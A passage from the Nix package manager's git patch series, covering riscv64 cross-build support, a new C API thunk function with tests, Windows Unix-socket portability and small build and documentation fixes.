+        if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), NIX_SYSCALL_FCHMODAT2, 1,
+                SCMP_A2(SCMP_CMP_MASKED_EQ, (scmp_datum_t) perm, (scmp_datum_t) perm)) != 0)
+            throw SysError("unable to add seccomp rule");
     }
 
     /* Prevent builders from creating EAs or ACLs. Not all filesystems

From fb9f4208ed371afe23307f9b6cb9ada618bada9b Mon Sep 17 00:00:00 2001
From: John Ericson <git@JohnEricson.me>
Date: Mon, 15 Apr 2024 16:57:07 -0400
Subject: [PATCH 019/528] Don't include `linux/` in `#include`

The linux dirs are conditionally added to the `-I` path.
---
 src/libstore/unix/build/local-derivation-goal.cc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
index 2d691143c08..aad5173e7af 100644
--- a/src/libstore/unix/build/local-derivation-goal.cc
+++ b/src/libstore/unix/build/local-derivation-goal.cc
@@ -37,7 +37,7 @@
 
 /* Includes required for chroot support. */
 #if __linux__
-# include "linux/fchmodat2-compat.hh"
+# include "fchmodat2-compat.hh"
 # include <sys/ioctl.h>
 # include <net/if.h>
 # include <netinet/ip.h>

From e3fa7c38d7af8f34de0c24766b2e8cf1cd1330f0 Mon Sep 17 00:00:00 2001
From: 0x4A6F <0x4A6F@users.noreply.github.com>
Date: Thu, 18 Apr 2024 13:10:52 +0200
Subject: [PATCH 020/528] system: build for riscv64-unknown-linux-gnu (#10228)

* system: add support for riscv64-unknown-linux-gnu

* maintainers: upload riscv64-linux-gnu

* doc: add riscv64-linux to supported platforms
---
 doc/manual/src/contributing/hacking.md | 6 +++++-
 flake.nix                              | 3 +++
 maintainers/upload-release.pl          | 4 ++++
 3 files changed, 12 insertions(+), 1 deletion(-)

diff --git a/doc/manual/src/contributing/hacking.md b/doc/manual/src/contributing/hacking.md
index d56ac29a46c..c43149c4d96 100644
--- a/doc/manual/src/contributing/hacking.md
+++ b/doc/manual/src/contributing/hacking.md
@@ -144,6 +144,7 @@ Nix can be built for various platforms, as specified in [`flake.nix`]:
 - `aarch64-darwin`
 - `armv6l-linux`
 - `armv7l-linux`
+- `riscv64-linux`
 
 In order to build Nix for a different platform than the one you're currently
 on, you need a way for your current Nix installation to build code for that
@@ -166,7 +167,10 @@ or for Nix with the [`flakes`] and [`nix-command`] experimental features enabled
 $ nix build .#packages.aarch64-linux.default
 ```
 
-Cross-compiled builds are available for ARMv6 (`armv6l-linux`) and ARMv7 (`armv7l-linux`).
+Cross-compiled builds are available for:
+- `armv6l-linux`
+- `armv7l-linux`
+- `riscv64-linux`
 Add more [system types](#system-type) to `crossSystems` in `flake.nix` to bootstrap Nix on unsupported platforms.
 
 ### Building for multiple platforms at once
diff --git a/flake.nix b/flake.nix
index 8ee46101be6..07d909fcda0 100644
--- a/flake.nix
+++ b/flake.nix
@@ -31,6 +31,7 @@
       crossSystems = [
         "armv6l-unknown-linux-gnueabihf"
         "armv7l-unknown-linux-gnueabihf"
+        "riscv64-unknown-linux-gnu"
         "x86_64-unknown-netbsd"
         "x86_64-w64-mingw32"
       ];
@@ -253,6 +254,7 @@
           # Cross
           self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf"
           self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf"
+          self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu"
         ];
         installerScriptForGHA = installScriptFor [
           # Native
@@ -261,6 +263,7 @@
           # Cross
           self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf"
           self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf"
+          self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu"
         ];
 
         # docker image with Nix inside
diff --git a/maintainers/upload-release.pl b/maintainers/upload-release.pl
index f2830a3af15..6d1b7631d1d 100755
--- a/maintainers/upload-release.pl
+++ b/maintainers/upload-release.pl
@@ -171,6 +171,10 @@ sub downloadFile {
     downloadFile("binaryTarballCross.x86_64-linux.armv7l-unknown-linux-gnueabihf", "1");
 };
 warn "$@" if $@;
+eval {
+    downloadFile("binaryTarballCross.x86_64-linux.riscv64-linux-gnu", "1");
+};
+warn "$@" if $@;
 downloadFile("installerScript", "1");
 
 # Upload docker images to dockerhub.

From f8a67d7e26296c325410febdf10cf21b27ef57d1 Mon Sep 17 00:00:00 2001
From: 0x4A6F <0x4A6F@users.noreply.github.com>
Date: Thu, 18 Apr 2024 17:09:11 +0200
Subject: [PATCH 021/528] scripts/upload-release: fix riscv64 call

---
 maintainers/upload-release.pl | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/maintainers/upload-release.pl b/maintainers/upload-release.pl
index 6d1b7631d1d..9a30f8227ee 100755
--- a/maintainers/upload-release.pl
+++ b/maintainers/upload-release.pl
@@ -172,7 +172,7 @@ sub downloadFile {
 };
 warn "$@" if $@;
 eval {
-    downloadFile("binaryTarballCross.x86_64-linux.riscv64-linux-gnu", "1");
+    downloadFile("binaryTarballCross.x86_64-linux.riscv64-unknown-linux-gnu", "1");
 };
 warn "$@" if $@;
 downloadFile("installerScript", "1");

From ad643cde587805ac6e03cef4e51ca5a4268829d6 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 17 Apr 2024 17:41:23 +0200
Subject: [PATCH 022/528] C API: Add nix_init_apply

Thunks are relevant when initializing attrsets and lists, passing
arguments. This is an important way to produce them.
---
 src/libexpr-c/nix_api_expr.h        |   2 +
 src/libexpr-c/nix_api_value.cc      |  13 +++
 src/libexpr-c/nix_api_value.h       |  20 ++++-
 tests/unit/libexpr/nix_api_value.cc | 124 ++++++++++++++++++++++++++++
 4 files changed, 157 insertions(+), 2 deletions(-)

diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h
index 7504b5d7adc..fd9746ab713 100644
--- a/src/libexpr-c/nix_api_expr.h
+++ b/src/libexpr-c/nix_api_expr.h
@@ -93,6 +93,8 @@ nix_err nix_expr_eval_from_string(
  * @param[in] arg The argument to pass to the function.
  * @param[out] value The result of the function call.
  * @return NIX_OK if the function call was successful, an error code otherwise.
+ * @see nix_init_apply() for a similar function that does not performs the call immediately, but stores it as a thunk.
+ *      Note the different argument order.
  */
 nix_err nix_value_call(nix_c_context * context, EvalState * state, Value * fn, Value * arg, Value * value);
 
diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc
index 79e62a1d238..2550e975ad7 100644
--- a/src/libexpr-c/nix_api_value.cc
+++ b/src/libexpr-c/nix_api_value.cc
@@ -404,6 +404,19 @@ nix_err nix_init_null(nix_c_context * context, Value * value)
     NIXC_CATCH_ERRS
 }
 
+nix_err nix_init_apply(nix_c_context * context, Value * value, Value * fn, Value * arg)
+{
+    if (context)
+        context->last_err_code = NIX_OK;
+    try {
+        auto & v = check_value_not_null(value);
+        auto & f = check_value_not_null(fn);
+        auto & a = check_value_not_null(arg);
+        v.mkApp(&f, &a);
+    }
+    NIXC_CATCH_ERRS
+}
+
 nix_err nix_init_external(nix_c_context * context, Value * value, ExternalValue * val)
 {
     if (context)
diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h
index e6744e6101e..d8bd77c33c9 100644
--- a/src/libexpr-c/nix_api_value.h
+++ b/src/libexpr-c/nix_api_value.h
@@ -342,8 +342,24 @@ nix_err nix_init_int(nix_c_context * context, Value * value, int64_t i);
  * @param[out] value Nix value to modify
  * @return error code, NIX_OK on success.
  */
-
 nix_err nix_init_null(nix_c_context * context, Value * value);
+
+/** @brief Set the value to a thunk that will perform a function application when needed.
+ *
+ * Thunks may be put into attribute sets and lists to perform some computation lazily; on demand.
+ * However, note that in some places, a thunk must not be returned, such as in the return value of a PrimOp.
+ * In such cases, you may use nix_value_call() instead (but note the different argument order).
+ *
+ * @param[out] context Optional, stores error information
+ * @param[out] value Nix value to modify
+ * @param[in] fn function to call
+ * @param[in] arg argument to pass
+ * @return error code, NIX_OK on successful initialization.
+ * @see nix_value_call() for a similar function that performs the call immediately and only stores the return value.
+ *      Note the different argument order.
+ */
+nix_err nix_init_apply(nix_c_context * context, Value * value, Value * fn, Value * arg);
+
 /** @brief Set an external value
  * @param[out] context Optional, stores error information
  * @param[out] value Nix value to modify
@@ -421,7 +437,7 @@ BindingsBuilder * nix_make_bindings_builder(nix_c_context * context, EvalState *
 /** @brief Insert bindings into a builder
  * @param[out] context Optional, stores error information
  * @param[in] builder BindingsBuilder to insert into
- * @param[in] name attribute name, copied into the symbol store
+ * @param[in] name attribute name, only used for the duration of the call.
  * @param[in] value value to give the binding
  * @return error code, NIX_OK on success.
  */
diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc
index 7fbb2bbdca0..ac0cdb9c449 100644
--- a/tests/unit/libexpr/nix_api_value.cc
+++ b/tests/unit/libexpr/nix_api_value.cc
@@ -8,6 +8,7 @@
 #include "tests/nix_api_expr.hh"
 #include "tests/string_callback.hh"
 
+#include "gmock/gmock.h"
 #include <cstdlib>
 #include <gtest/gtest.h>
 
@@ -187,4 +188,127 @@ TEST_F(nix_api_expr_test, nix_build_and_init_attr)
     free(out_name);
 }
 
+TEST_F(nix_api_expr_test, nix_value_init)
+{
+    // Setup
+
+    // two = 2;
+    // f = a: a * a;
+
+    Value * two = nix_alloc_value(ctx, state);
+    nix_init_int(ctx, two, 2);
+
+    Value * f = nix_alloc_value(ctx, state);
+    nix_expr_eval_from_string(
+        ctx, state, R"(
+        a: a * a
+    )",
+        "<test>", f);
+
+    // Test
+
+    // r = f two;
+
+    Value * r = nix_alloc_value(ctx, state);
+    nix_init_apply(ctx, r, f, two);
+    assert_ctx_ok();
+
+    ValueType t = nix_get_type(ctx, r);
+    assert_ctx_ok();
+
+    ASSERT_EQ(t, NIX_TYPE_THUNK);
+
+    nix_value_force(ctx, state, r);
+
+    t = nix_get_type(ctx, r);
+    assert_ctx_ok();
+
+    ASSERT_EQ(t, NIX_TYPE_INT);
+
+    int n = nix_get_int(ctx, r);
+    assert_ctx_ok();
+
+    ASSERT_EQ(n, 4);
+
+    // Clean up
+    nix_gc_decref(ctx, two);
+    nix_gc_decref(ctx, f);
+    nix_gc_decref(ctx, r);
+}
+
+TEST_F(nix_api_expr_test, nix_value_init_apply_error)
+{
+    Value * some_string = nix_alloc_value(ctx, state);
+    nix_init_string(ctx, some_string, "some string");
+    assert_ctx_ok();
+
+    Value * v = nix_alloc_value(ctx, state);
+    nix_init_apply(ctx, v, some_string, some_string);
+    assert_ctx_ok();
+
+    // All ok. Call has not been evaluated yet.
+
+    // Evaluate it
+    nix_value_force(ctx, state, v);
+    ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR);
+    ASSERT_THAT(ctx->last_err.value(), testing::HasSubstr("attempt to call something which is not a function but"));
+
+    // Clean up
+    nix_gc_decref(ctx, some_string);
+    nix_gc_decref(ctx, v);
+}
+
+TEST_F(nix_api_expr_test, nix_value_init_apply_lazy_arg)
+{
+    // f is a lazy function: it does not evaluate its argument before returning its return value
+    // g is a helper to produce e
+    // e is a thunk that throws an exception
+    //
+    // r = f e
+    // r should not throw an exception, because e is not evaluated
+
+    Value * f = nix_alloc_value(ctx, state);
+    nix_expr_eval_from_string(
+        ctx, state, R"(
+        a: { foo = a; }
+    )",
+        "<test>", f);
+    assert_ctx_ok();
+
+    Value * e = nix_alloc_value(ctx, state);
+    {
+        Value * g = nix_alloc_value(ctx, state);
+        nix_expr_eval_from_string(
+            ctx, state, R"(
+            _ignore: throw "error message for test case nix_value_init_apply_lazy_arg"
+        )",
+            "<test>", g);
+        assert_ctx_ok();
+
+        nix_init_apply(ctx, e, g, g);
+        assert_ctx_ok();
+        nix_gc_decref(ctx, g);
+    }
+
+    Value * r = nix_alloc_value(ctx, state);
+    nix_init_apply(ctx, r, f, e);
+    assert_ctx_ok();
+
+    nix_value_force(ctx, state, r);
+    assert_ctx_ok();
+
+    auto n = nix_get_attrs_size(ctx, r);
+    assert_ctx_ok();
+    ASSERT_EQ(1, n);
+
+    // nix_get_attr_byname isn't lazy (it could have been) so it will throw the exception
+    Value * foo = nix_get_attr_byname(ctx, r, state, "foo");
+    ASSERT_EQ(nullptr, foo);
+    ASSERT_THAT(ctx->last_err.value(), testing::HasSubstr("error message for test case nix_value_init_apply_lazy_arg"));
+
+    // Clean up
+    nix_gc_decref(ctx, f);
+    nix_gc_decref(ctx, e);
+}
+
 }

From 3a3c205fa7b25dee3e6794cc40873faed63b6fce Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 18 Apr 2024 16:56:42 -0400
Subject: [PATCH 023/528] Use `rand` not `random` for creating GC root indirect
 links

I don't think fewer bits matters for this, and `rand` but not `random`
is available on Windows.
---
 src/libmain/shared.cc   | 3 ++-
 src/libstore/unix/gc.cc | 2 +-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/src/libmain/shared.cc b/src/libmain/shared.cc
index a43a00f1647..e09aed2c61d 100644
--- a/src/libmain/shared.cc
+++ b/src/libmain/shared.cc
@@ -173,12 +173,13 @@ void initNix()
        everybody. */
     umask(0022);
 
-#ifndef _WIN32
     /* Initialise the PRNG. */
     struct timeval tv;
     gettimeofday(&tv, 0);
+#ifndef _WIN32
     srandom(tv.tv_usec);
 #endif
+    srand(tv.tv_usec);
 
 
 }
diff --git a/src/libstore/unix/gc.cc b/src/libstore/unix/gc.cc
index 9b2e6d525cd..68d049485d0 100644
--- a/src/libstore/unix/gc.cc
+++ b/src/libstore/unix/gc.cc
@@ -41,7 +41,7 @@ static void makeSymlink(const Path & link, const Path & target)
     createDirs(dirOf(link));
 
     /* Create the new symlink. */
-    Path tempLink = fmt("%1%.tmp-%2%-%3%", link, getpid(), random());
+    Path tempLink = fmt("%1%.tmp-%2%-%3%", link, getpid(), rand());
     createSymlink(target, tempLink);
 
     /* Atomically replace the old one. */

From b973cd494feb03488260580be862d1232f158f0f Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 18 Apr 2024 16:49:52 -0400
Subject: [PATCH 024/528] Enable the `unix://` store on Windows

Windows now has some basic Unix Domain Socket support, see
https://devblogs.microsoft.com/commandline/af_unix-comes-to-windows/

Building `nix daemon` on Windows I've left for later, because the daemon
currently forks per connection but this is not an option on Windows. But
we can get the client part working right away.
---
 src/libstore/indirect-root-store.cc          | 44 ++++++++++
 src/libstore/indirect-root-store.hh          |  3 +
 src/libstore/local.mk                        |  3 +
 src/libstore/{unix => }/uds-remote-store.cc  | 16 ++--
 src/libstore/{unix => }/uds-remote-store.hh  |  0
 src/libstore/{unix => }/uds-remote-store.md  |  0
 src/libstore/unix/gc.cc                      | 40 ----------
 src/libutil/{unix => }/unix-domain-socket.cc | 30 ++++---
 src/libutil/unix-domain-socket.hh            | 84 ++++++++++++++++++++
 src/libutil/unix/unix-domain-socket.hh       | 31 --------
 10 files changed, 164 insertions(+), 87 deletions(-)
 create mode 100644 src/libstore/indirect-root-store.cc
 rename src/libstore/{unix => }/uds-remote-store.cc (86%)
 rename src/libstore/{unix => }/uds-remote-store.hh (100%)
 rename src/libstore/{unix => }/uds-remote-store.md (100%)
 rename src/libutil/{unix => }/unix-domain-socket.cc (84%)
 create mode 100644 src/libutil/unix-domain-socket.hh
 delete mode 100644 src/libutil/unix/unix-domain-socket.hh

diff --git a/src/libstore/indirect-root-store.cc b/src/libstore/indirect-root-store.cc
new file mode 100644
index 00000000000..b92279928b9
--- /dev/null
+++ b/src/libstore/indirect-root-store.cc
@@ -0,0 +1,44 @@
+#include "indirect-root-store.hh"
+
+namespace nix {
+
+void IndirectRootStore::makeSymlink(const Path & link, const Path & target)
+{
+    /* Create directories up to `gcRoot'. */
+    createDirs(dirOf(link));
+
+    /* Create the new symlink. */
+    Path tempLink = fmt("%1%.tmp-%2%-%3%", link, getpid(), rand());
+    createSymlink(target, tempLink);
+
+    /* Atomically replace the old one. */
+    renameFile(tempLink, link);
+}
+
+
+Path IndirectRootStore::addPermRoot(const StorePath & storePath, const Path & _gcRoot)
+{
+    Path gcRoot(canonPath(_gcRoot));
+
+    if (isInStore(gcRoot))
+        throw Error(
+                "creating a garbage collector root (%1%) in the Nix store is forbidden "
+                "(are you running nix-build inside the store?)", gcRoot);
+
+    /* Register this root with the garbage collector, if it's
+       running. This should be superfluous since the caller should
+       have registered this root yet, but let's be on the safe
+       side. */
+    addTempRoot(storePath);
+
+    /* Don't clobber the link if it already exists and doesn't
+       point to the Nix store. */
+    if (pathExists(gcRoot) && (!isLink(gcRoot) || !isInStore(readLink(gcRoot))))
+        throw Error("cannot create symlink '%1%'; already exists", gcRoot);
+    makeSymlink(gcRoot, printStorePath(storePath));
+    addIndirectRoot(gcRoot);
+
+    return gcRoot;
+}
+
+}
diff --git a/src/libstore/indirect-root-store.hh b/src/libstore/indirect-root-store.hh
index c11679fe8b8..b74ebc1eed4 100644
--- a/src/libstore/indirect-root-store.hh
+++ b/src/libstore/indirect-root-store.hh
@@ -67,6 +67,9 @@ struct IndirectRootStore : public virtual LocalFSStore
      * The form this weak-reference takes is implementation-specific.
      */
     virtual void addIndirectRoot(const Path & path) = 0;
+
+protected:
+    void makeSymlink(const Path & link, const Path & target);
 };
 
 }
diff --git a/src/libstore/local.mk b/src/libstore/local.mk
index 2e118f6cb2c..590a230e577 100644
--- a/src/libstore/local.mk
+++ b/src/libstore/local.mk
@@ -21,6 +21,9 @@ libstore_LDFLAGS += $(SQLITE3_LIBS) $(LIBCURL_LIBS) $(THREAD_LDFLAGS)
 ifdef HOST_LINUX
   libstore_LDFLAGS += -ldl
 endif
+ifdef HOST_WINDOWS
+  libstore_LDFLAGS += -lws2_32
+endif
 
 $(foreach file,$(libstore_FILES),$(eval $(call install-data-in,$(d)/$(file),$(datadir)/nix/sandbox)))
 
diff --git a/src/libstore/unix/uds-remote-store.cc b/src/libstore/uds-remote-store.cc
similarity index 86%
rename from src/libstore/unix/uds-remote-store.cc
rename to src/libstore/uds-remote-store.cc
index 226cdf7175c..649644146bf 100644
--- a/src/libstore/unix/uds-remote-store.cc
+++ b/src/libstore/uds-remote-store.cc
@@ -2,16 +2,20 @@
 #include "unix-domain-socket.hh"
 #include "worker-protocol.hh"
 
+#include <cstring>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/socket.h>
-#include <sys/un.h>
 #include <errno.h>
 #include <fcntl.h>
 #include <unistd.h>
 
-#include <cstring>
-
+#ifdef _WIN32
+# include <winsock2.h>
+# include <afunix.h>
+#else
+# include <sys/socket.h>
+# include <sys/un.h>
+#endif
 
 namespace nix {
 
@@ -57,7 +61,7 @@ std::string UDSRemoteStore::getUri()
 
 void UDSRemoteStore::Connection::closeWrite()
 {
-    shutdown(fd.get(), SHUT_WR);
+    shutdown(toSocket(fd.get()), SHUT_WR);
 }
 
 
@@ -68,7 +72,7 @@ ref<RemoteStore::Connection> UDSRemoteStore::openConnection()
     /* Connect to a daemon that does the privileged work for us. */
     conn->fd = createUnixDomainSocket();
 
-    nix::connect(conn->fd.get(), path ? *path : settings.nixDaemonSocketFile);
+    nix::connect(toSocket(conn->fd.get()), path ? *path : settings.nixDaemonSocketFile);
 
     conn->from.fd = conn->fd.get();
     conn->to.fd = conn->fd.get();
diff --git a/src/libstore/unix/uds-remote-store.hh b/src/libstore/uds-remote-store.hh
similarity index 100%
rename from src/libstore/unix/uds-remote-store.hh
rename to src/libstore/uds-remote-store.hh
diff --git a/src/libstore/unix/uds-remote-store.md b/src/libstore/uds-remote-store.md
similarity index 100%
rename from src/libstore/unix/uds-remote-store.md
rename to src/libstore/uds-remote-store.md
diff --git a/src/libstore/unix/gc.cc b/src/libstore/unix/gc.cc
index 68d049485d0..be579439568 100644
--- a/src/libstore/unix/gc.cc
+++ b/src/libstore/unix/gc.cc
@@ -35,20 +35,6 @@ static std::string gcSocketPath = "/gc-socket/socket";
 static std::string gcRootsDir = "gcroots";
 
 
-static void makeSymlink(const Path & link, const Path & target)
-{
-    /* Create directories up to `gcRoot'. */
-    createDirs(dirOf(link));
-
-    /* Create the new symlink. */
-    Path tempLink = fmt("%1%.tmp-%2%-%3%", link, getpid(), rand());
-    createSymlink(target, tempLink);
-
-    /* Atomically replace the old one. */
-    renameFile(tempLink, link);
-}
-
-
 void LocalStore::addIndirectRoot(const Path & path)
 {
     std::string hash = hashString(HashAlgorithm::SHA1, path).to_string(HashFormat::Nix32, false);
@@ -57,32 +43,6 @@ void LocalStore::addIndirectRoot(const Path & path)
 }
 
 
-Path IndirectRootStore::addPermRoot(const StorePath & storePath, const Path & _gcRoot)
-{
-    Path gcRoot(canonPath(_gcRoot));
-
-    if (isInStore(gcRoot))
-        throw Error(
-                "creating a garbage collector root (%1%) in the Nix store is forbidden "
-                "(are you running nix-build inside the store?)", gcRoot);
-
-    /* Register this root with the garbage collector, if it's
-       running. This should be superfluous since the caller should
-       have registered this root yet, but let's be on the safe
-       side. */
-    addTempRoot(storePath);
-
-    /* Don't clobber the link if it already exists and doesn't
-       point to the Nix store. */
-    if (pathExists(gcRoot) && (!isLink(gcRoot) || !isInStore(readLink(gcRoot))))
-        throw Error("cannot create symlink '%1%'; already exists", gcRoot);
-    makeSymlink(gcRoot, printStorePath(storePath));
-    addIndirectRoot(gcRoot);
-
-    return gcRoot;
-}
-
-
 void LocalStore::createTempRootsFile()
 {
     auto fdTempRoots(_fdTempRoots.lock());
diff --git a/src/libutil/unix/unix-domain-socket.cc b/src/libutil/unix-domain-socket.cc
similarity index 84%
rename from src/libutil/unix/unix-domain-socket.cc
rename to src/libutil/unix-domain-socket.cc
index 0bcf9040d95..87914bb83e7 100644
--- a/src/libutil/unix/unix-domain-socket.cc
+++ b/src/libutil/unix-domain-socket.cc
@@ -1,24 +1,31 @@
 #include "file-system.hh"
-#include "processes.hh"
 #include "unix-domain-socket.hh"
 #include "util.hh"
 
-#include <sys/socket.h>
-#include <sys/un.h>
+#ifdef _WIN32
+# include <winsock2.h>
+# include <afunix.h>
+#else
+# include <sys/socket.h>
+# include <sys/un.h>
+# include "processes.hh"
+#endif
 #include <unistd.h>
 
 namespace nix {
 
 AutoCloseFD createUnixDomainSocket()
 {
-    AutoCloseFD fdSocket = socket(PF_UNIX, SOCK_STREAM
+    AutoCloseFD fdSocket = toDescriptor(socket(PF_UNIX, SOCK_STREAM
         #ifdef SOCK_CLOEXEC
         | SOCK_CLOEXEC
         #endif
-        , 0);
+        , 0));
     if (!fdSocket)
         throw SysError("cannot create Unix domain socket");
+#ifndef _WIN32
     closeOnExec(fdSocket.get());
+#endif
     return fdSocket;
 }
 
@@ -32,16 +39,15 @@ AutoCloseFD createUnixDomainSocket(const Path & path, mode_t mode)
     if (chmod(path.c_str(), mode) == -1)
         throw SysError("changing permissions on '%1%'", path);
 
-    if (listen(fdSocket.get(), 100) == -1)
+    if (listen(toSocket(fdSocket.get()), 100) == -1)
         throw SysError("cannot listen on socket '%1%'", path);
 
     return fdSocket;
 }
 
-
 static void bindConnectProcHelper(
     std::string_view operationName, auto && operation,
-    int fd, const std::string & path)
+    Socket fd, const std::string & path)
 {
     struct sockaddr_un addr;
     addr.sun_family = AF_UNIX;
@@ -54,6 +60,9 @@ static void bindConnectProcHelper(
     auto * psaddr = reinterpret_cast<struct sockaddr *>(&addr);
 
     if (path.size() + 1 >= sizeof(addr.sun_path)) {
+#ifdef _WIN32
+        throw Error("cannot %s to socket at '%s': path is too long", operationName, path);
+#else
         Pipe pipe;
         pipe.create();
         Pid pid = startProcess([&] {
@@ -83,6 +92,7 @@ static void bindConnectProcHelper(
             errno = *errNo;
             throw SysError("cannot %s to socket at '%s'", operationName, path);
         }
+#endif
     } else {
         memcpy(addr.sun_path, path.c_str(), path.size() + 1);
         if (operation(fd, psaddr, sizeof(addr)) == -1)
@@ -91,7 +101,7 @@ static void bindConnectProcHelper(
 }
 
 
-void bind(int fd, const std::string & path)
+void bind(Socket fd, const std::string & path)
 {
     unlink(path.c_str());
 
@@ -99,7 +109,7 @@ void bind(int fd, const std::string & path)
 }
 
 
-void connect(int fd, const std::string & path)
+void connect(Socket fd, const std::string & path)
 {
     bindConnectProcHelper("connect", ::connect, fd, path);
 }
diff --git a/src/libutil/unix-domain-socket.hh b/src/libutil/unix-domain-socket.hh
new file mode 100644
index 00000000000..9aba9f62891
--- /dev/null
+++ b/src/libutil/unix-domain-socket.hh
@@ -0,0 +1,84 @@
+#pragma once
+///@file
+
+#include "types.hh"
+#include "file-descriptor.hh"
+
+#ifdef _WIN32
+# include <winsock2.h>
+#endif
+#include <unistd.h>
+
+namespace nix {
+
+/**
+ * Create a Unix domain socket.
+ */
+AutoCloseFD createUnixDomainSocket();
+
+/**
+ * Create a Unix domain socket in listen mode.
+ */
+AutoCloseFD createUnixDomainSocket(const Path & path, mode_t mode);
+
+
+/**
+ * Often we want to use `Descriptor`, but Windows makes a slightly
+ * stronger file descriptor vs socket distinction, at least at the level
+ * of C types.
+ */
+using Socket =
+#ifdef _WIN32
+    SOCKET
+#else
+    int
+#endif
+    ;
+
+#ifdef _WIN32
+/**
+ * Windows gives this a different name
+ */
+# define SHUT_WR SD_SEND
+#endif
+
+/**
+ * Convert a `Socket` to a `Descriptor`
+ *
+ * This is a no-op except on Windows.
+ */
+static inline Socket toSocket(Descriptor fd)
+{
+#ifdef _WIN32
+    return reinterpret_cast<Socket>(fd);
+#else
+    return fd;
+#endif
+}
+
+/**
+ * Convert a `Socket` to a `Descriptor`
+ *
+ * This is a no-op except on Windows.
+ */
+static inline Descriptor fromSocket(Socket fd)
+{
+#ifdef _WIN32
+    return reinterpret_cast<Descriptor>(fd);
+#else
+    return fd;
+#endif
+}
+
+
+/**
+ * Bind a Unix domain socket to a path.
+ */
+void bind(Socket fd, const std::string & path);
+
+/**
+ * Connect to a Unix domain socket.
+ */
+void connect(Socket fd, const std::string & path);
+
+}
diff --git a/src/libutil/unix/unix-domain-socket.hh b/src/libutil/unix/unix-domain-socket.hh
deleted file mode 100644
index b78feb454b1..00000000000
--- a/src/libutil/unix/unix-domain-socket.hh
+++ /dev/null
@@ -1,31 +0,0 @@
-#pragma once
-///@file
-
-#include "types.hh"
-#include "file-descriptor.hh"
-
-#include <unistd.h>
-
-namespace nix {
-
-/**
- * Create a Unix domain socket.
- */
-AutoCloseFD createUnixDomainSocket();
-
-/**
- * Create a Unix domain socket in listen mode.
- */
-AutoCloseFD createUnixDomainSocket(const Path & path, mode_t mode);
-
-/**
- * Bind a Unix domain socket to a path.
- */
-void bind(int fd, const std::string & path);
-
-/**
- * Connect to a Unix domain socket.
- */
-void connect(int fd, const std::string & path);
-
-}

From 8c4c2156bd786156a57219e78aa14a363ca8f041 Mon Sep 17 00:00:00 2001
From: Robert Hensing <roberth@users.noreply.github.com>
Date: Fri, 19 Apr 2024 15:48:56 +0200
Subject: [PATCH 025/528] doc/glossary: Define output closure (#8311)

---
 doc/manual/src/glossary.md | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/doc/manual/src/glossary.md b/doc/manual/src/glossary.md
index c4d9c2a524c..66e4628c0dd 100644
--- a/doc/manual/src/glossary.md
+++ b/doc/manual/src/glossary.md
@@ -215,6 +215,9 @@
 
   [output path]: #gloss-output-path
 
+- [output closure]{#gloss-output-closure}\
+  The [closure] of an [output path]. It only contains what is [reachable] from the output.
+
 - [deriver]{#gloss-deriver}
 
   The [store derivation] that produced an [output path].

From e05b58b06004cdc1185c8f1fdc0d3ffbd2723245 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Fri, 19 Apr 2024 23:41:56 +0200
Subject: [PATCH 026/528] init: Add flag to avoid loading configuration

---
 src/libmain/shared.cc           |  4 ++--
 src/libmain/shared.hh           |  3 ++-
 src/libstore-c/nix_api_store.cc | 10 ++++++++++
 src/libstore-c/nix_api_store.h  |  7 +++++++
 src/libstore/globals.cc         |  5 +++--
 src/libstore/globals.hh         |  5 +++--
 6 files changed, 27 insertions(+), 7 deletions(-)

diff --git a/src/libmain/shared.cc b/src/libmain/shared.cc
index a43a00f1647..d6fb58e4ab9 100644
--- a/src/libmain/shared.cc
+++ b/src/libmain/shared.cc
@@ -113,7 +113,7 @@ static void sigHandler(int signo) { }
 #endif
 
 
-void initNix()
+void initNix(bool loadConfig)
 {
     /* Turn on buffering for cerr. */
 #if HAVE_PUBSETBUF
@@ -121,7 +121,7 @@ void initNix()
     std::cerr.rdbuf()->pubsetbuf(buf, sizeof(buf));
 #endif
 
-    initLibStore();
+    initLibStore(loadConfig);
 
 #ifndef _WIN32
     unix::startSignalHandlerThread();
diff --git a/src/libmain/shared.hh b/src/libmain/shared.hh
index 3c657d2b7b7..aa44e1321fa 100644
--- a/src/libmain/shared.hh
+++ b/src/libmain/shared.hh
@@ -21,8 +21,9 @@ int handleExceptions(const std::string & programName, std::function<void()> fun)
 
 /**
  * Don't forget to call initPlugins() after settings are initialized!
+ * @param loadConfig Whether to load configuration from `nix.conf`, `NIX_CONFIG`, etc. May be disabled for unit tests.
  */
-void initNix();
+void initNix(bool loadConfig = true);
 
 void parseCmdLine(int argc, char * * argv,
     std::function<bool(Strings::iterator & arg, const Strings::iterator & end)> parseArg);
diff --git a/src/libstore-c/nix_api_store.cc b/src/libstore-c/nix_api_store.cc
index 6ce4d01bbdf..4fe25c7d4ee 100644
--- a/src/libstore-c/nix_api_store.cc
+++ b/src/libstore-c/nix_api_store.cc
